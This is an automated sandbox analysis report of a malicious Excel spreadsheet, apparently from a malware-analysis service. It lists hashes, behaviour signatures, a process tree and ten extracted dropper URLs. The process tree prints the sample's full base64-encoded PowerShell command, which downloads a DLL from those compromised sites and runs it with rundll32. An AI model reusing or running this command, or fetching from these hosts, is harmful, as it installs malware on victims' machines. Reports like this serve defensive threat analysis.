Overview

overview

10

Static

static

tmpahe342sy.xls

windows7_x64

10

tmpahe342sy.xls

windows10_x64

10

Analysis

  • max time kernel
    120s
  • max time network
    136s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    25/01/2022, 15:59

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    tmpahe342sy.xls
  • Size 144KB
  • Sample220125-te4jgaaddn
  • SHA256 eaacbf5824487ddc63b5b58f4e802bf6d3ca43b403bb13b8bb0c28d9340e56ed
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://philiatek.com/wp-content/i6xZ9PESl4QAWL9O/
  • exe.dropper

    http://diademfinancial.com/oxly7sr/IfH/
  • exe.dropper

    http://khustle.com/cgi-bin/jz381CkM5gYgMH/
  • exe.dropper

    http://newalthyplane.com.althyplane.com/dmcbg7s/X4bbl6/
  • exe.dropper

    http://nostringsattachedrelationship.net/wp-content/xDuD8qnc/
  • exe.dropper

    https://acorngift.com/wp-content/YhNgI/
  • exe.dropper

    http://russian-coins.info/libraries/8oDzr/
  • exe.dropper

    http://daisy.sukoburu-secure.com/assets/qrwbWpSM/
  • exe.dropper

    http://ppdbsmp.insanrabbany.sch.id/assets/eofgaHjWVR9o/
  • exe.dropper

    http://harmonylifecare.vogomo.com/m113gvw/bsKtRYvTM/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\tmpahe342sy.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1128
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\programdata\tydkjxjd.bat" "
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:608
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AcABoAGkAbABpAGEAdABlAGsALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBpADYAeABaADkAUABFAFMAbAA0AFEAQQBXAEwAOQBPAC8ALABoAHQAdABwADoALwAvAGQAaQBhAGQAZQBtAGYAaQBuAGEAbgBjAGkAYQBsAC4AYwBvAG0ALwBvAHgAbAB5ADcAcwByAC8ASQBmAEgALwAsAGgAdAB0AHAAOgAvAC8AawBoAHUAcwB0AGwAZQAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAGoAegAzADgAMQBDAGsATQA1AGcAWQBnAE0ASAAvACwAaAB0AHQAcAA6AC8ALwBuAGUAdwBhAGwAdABoAHkAcABsAGEAbgBlAC4AYwBvAG0ALgBhAGwAdABoAHkAcABsAGEAbgBlAC4AYwBvAG0ALwBkAG0AYwBiAGcANwBzAC8AWAA0AGIAYgBsADYALwAsAGgAdAB0AHAAOgAvAC8AbgBvAHMAdAByAGkAbgBnAHMAYQB0AHQAYQBjAGgAZQBkAHIAZQBsAGEAdABpAG8AbgBzAGgAaQBwAC4AbgBlAHQALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AeABEAHUARAA4AHEAbgBjAC8ALABoAHQAdABwAHMAOgAvAC8AYQBjAG8AcgBuAGcAaQBmAHQALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBZAGgATgBnAEkALwAsAGgAdAB0AHAAOgAvAC8AcgB1AHMAcwBpAGEAbgAtAGMAbwBpAG4AcwAuAGkAbgBmAG8ALwBsAGkAYgByAGEAcgBpAGUAcwAvADgAbwBEAHoAcgAvACwAaAB0AHQAcAA6AC8ALwBkAGEAaQBzAHkALgBzAHUAawBvAGIAdQByAHUALQBzAGUAYwB1AHIAZQAuAGMAbwBtAC8AYQBzAHMAZQB0AHMALwBxAHIAdwBiAFcAcABTAE0ALwAsAGgAdAB0AHAAOgAvAC8AcABwAGQAYgBzAG0AcAAuAGkAbgBzAGEAbgByAGEAYgBiAGEAbgB5AC4AcwBjAGgALgBpAGQALwBhAHMAcwBlAHQAcwAvAGUAbwBmAGcAYQBIAGoAVwBWAFIAOQBvAC8ALABoAHQAdABwADoALwAvAGgAYQByAG0AbwBuAHkAbABpAGYAZQBjAGEAcgBlAC4AdgBvAGcAbwBtAG8ALgBjAG8AbQAvAG0AMQAxADMAZwB2AHcALwBiAHMASwB0AFIAWQB2AFQATQAvACwAaAB0AHQAcABzADoALwAvAGMAYwBlAC4AZQBkAHUALgBpAG4ALwBhAGQAbQBpAG4ALwBaADYAUgBWADQANwBiAE0AQgByAC8ALABoAHQAdABwADoALwAvAG0AaQBnAHIAYQBuAHQAZQB4AGwAYQB0AGUAeAAuAGMAbwBtAC4AbQB4AC8AYwBnAGkALQBiAGkAbgAvADIAQgBBAGIALwAsAGgAdAB0AHAAOgAvAC8AbwByAGkAZQBuAHQAYgB1AGYAZgBlAHQALgBlAHUALwBhAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAC8AOQBXAFoALwAsAGgAdAB0AHAAOgAvAC8AbABlAG4AYwBlAG4AdAByAC4AcgB1AC8AYwBzAHMALwBUAFEARAB5ADkANQBJAGsAWQBCAHoARwBsAHkAUwAvACIALgBTAHAAbABpAHQAKAAiACwAIgApADsAIABmAG8AcgBlAGEAYwBoACgAJABzAHQAIABpAG4AIAAkAHIAbwB3AGkAZgBpAHUAZAApAHsAJAByAHIAeQBpAHUAZAA9AEcAZQB0AC0AUgBhAG4AZABvAG0AOwAkAGYAZwBoAGkAdQBzAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACAAJABHAHMAcgBGAEoAWQBqAGQANQA0ADYAZABzAD0AIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAAiACsAJAByAHIAeQBpAHUAZAArACIALgBkAGwAbAAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAcwB0ACAALQBPAHUAdABGAGkAbABlACAAJABHAHMAcgBGAEoAWQBqAGQANQA0ADYAZABzADsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQB7ACAAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1200

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1128-55-0x000000002FE11000-0x000000002FE14000-memory.dmp
        Download

        memory/1128-56-0x0000000070F71000-0x0000000070F73000-memory.dmp
        Download

        memory/1128-57-0x000000005FFF0000-0x0000000060000000-memory.dmp
        Download

        memory/1128-58-0x0000000075421000-0x0000000075423000-memory.dmp
        Download

        memory/1128-59-0x00000000058A0000-0x00000000058A2000-memory.dmp
        Download

        memory/1128-67-0x000000005FFF0000-0x0000000060000000-memory.dmp
        Download

        memory/1200-65-0x00000000025D0000-0x000000000321A000-memory.dmp
        Download

        memory/1200-66-0x00000000025D0000-0x000000000321A000-memory.dmp
        Download